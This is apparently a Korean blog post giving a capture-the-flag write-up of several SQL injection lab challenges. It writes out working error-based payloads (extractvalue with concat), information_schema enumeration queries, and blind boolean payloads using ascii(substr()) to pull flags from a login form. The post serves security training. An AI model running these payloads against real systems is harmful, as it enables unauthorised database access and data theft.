가장 기본적인것부터 진행해 보도록 하겠습니다
1. 정상 로그인
제공받은 아이디로 로그인이 되는지 확인해보도록합시다
로그인 정보:
정상적으로 로그인이 이루어졌으며 로그인 후 index.php로 넘어가는 것을 확인했습니다
2. SQL 인젝션 시도 및 데이터 추출 (Error-based 방식)
normaltic' and '1'='1을 입력했더니 로그인이 잘 이루어졌습니다
단계별 진행 순서
1. DB 이름 확인
normaltic' and extractvalue('1', concat (0x3 a, (select database ()))) and '1'='1
다음과 같은 쿼리를 입력하여 'sqli_2'라는 DB 이름을 확인했습니다
2. 테이블 이름 확인
select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1
select 구문만 위에 코드처럼 바꿔주고 입력해 주면 해당 테이블의 값이 나옵니다
0,1 = flag_table
0,2 = member
3. 칼럼 이름 확인
select 구문만 위에 코드처럼 바꿔주고 입력해 주면 해당 칼럼의 값이 나옵니다
[flag_table] 0,1 = flag
4. 플래그 값 추출
select flag from flag_table
select 구문만 위에 코드처럼 바꿔주고 입력해주면 저희가 찾던 flag 데이터 값이 나옵니다
위에서 했던 방식대로 그대로 진행해 보겠습니다
정상로그인✔
sqlinjection 시도 ✔
error based로 데이터 추출 시도 ✔
1. 테이블 이름 확인
테이블 이름: flag_table
2. 칼럼 이름 확인
![]() |
![]() |
flag1 ~ flag8 까지 있는 것을 확인했습니다 이 flag들을 하나하나 다 확인해보도록 합시다
3. 플래그 값 추출
flag1 = segfault {1
segfault {1로 끊어지는 것을 볼 수 있습니다 아마도 이것은 모든 flag를 다 확인하여 연결하라는 것으로 보이네요 좀 더 정확하게 하기 위해 flag8을 확인해 보도록 하겠습니다
flag8 = job}
}로 끝난 것을 보아 아마 모든 flag를 확인해서 이어 붙이면 정답이지 않을까 싶습니다
flag1 = segfault {1
flag2 = ~_
flag3 = ~_
flag4 = ~_
flag5 = ~_
flag6 = ~_
flag7 = ~_
flag8 = job}
flag : segfault {1~_~_~_~_~_goodjob}
정답을 확인할 수 있었습니다
위에서 했던 방식대로 그대로 진행해 보겠습니다
정상로그인✔
sqlinjection 시도 ✔
error based로 데이터 추출 시도 ✔
해당 페이지의 DB이름은 sqli_2_2로 확인됐으며 이제 Table -> column -> data 순으로 출력해 보겠습니다
1. 테이블 이름 확인
0,1 = flagTable_this
1,1 = member
2. 칼럼 이름 확인
0,1 = idx
1,1 = flag
3. 플래그 값 추출
![]() |
![]() |
해당페이지가 저에게 메시지를 보내고 있네요
총 몇 개의 데이터가 있는지 알아봅시다
16까지 있는 것으로 확인 됐으며 중간값 8부터 점차 올려서 flag를 찾아보겠습니다
13번째 행에 정답을 찾아냈습니다
위에서 했던 방식대로 그대로 진행해 보겠습니다
정상로그인✔
sqlinjection 시도 ✔
error based로 데이터 추출 시도 ✖
error based이 먹히지 않네요 blind는 잘 통하는지 한번 테스트해보도록 합시다
normaltic' and (ascii (substr((select database()),1,1)) > 0) and '1'='1 을 입력하니 index.php로 넘어가는 것을 확인할 수 있습니다 이것은 참으로 간주하여 넘어간 것으로 blind가 먹히고 있다는 단서가 됩니다
그러면 blind로 데이터를 한 땀 한 땀 출력해야겠습니다
시간을 아끼기 위해 f12 눌러 관리자 페이지로 들어가서 DB이름을 뽑아오겠습니다
그러면 이제 이 DB이름을 가지고 Table -> column -> data 순으로 출력해 보겠습니다
1. 테이블 이름 확인
2. 칼럼 이름 확인
3. 플래그 값 추출
정답은 25글자로 생각보다 짧아서 좀 당황했습니다 7주 차 마지막 과제라 40글자 생각하고 있었는데 별로 안돼서 다행이었습니다
9주차 CTF (1) | 2024.12.15 |
---|---|
8주차 CTF (0) | 2024.12.10 |
SQL Injection 2 (6주차-CTF) (0) | 2024.11.26 |
SQL Injection 1 (6주차-CTF) (0) | 2024.11.26 |
ORDER BY, UNION 활용해보기 (6주차-CTF) (0) | 2024.11.26 |